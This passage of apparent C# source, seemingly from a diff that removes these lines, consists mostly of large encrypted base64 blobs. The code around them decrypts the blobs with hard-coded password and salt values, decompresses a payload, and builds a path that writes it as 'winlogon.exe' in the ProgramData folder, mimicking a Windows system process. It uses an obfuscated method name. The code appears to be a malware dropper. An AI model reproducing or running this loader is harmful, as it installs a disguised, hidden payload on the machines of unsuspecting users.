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", "Qq27XkMo3d9FJj56Rca", "Mq2n7Q3Dkd4N8Byz5P9E", "SHA1", 2, "Ns3b5TMz84Ana7KR", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\winlogon.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.g6WLd9n3T5QbMx7i2X8DqKe43Zys5J("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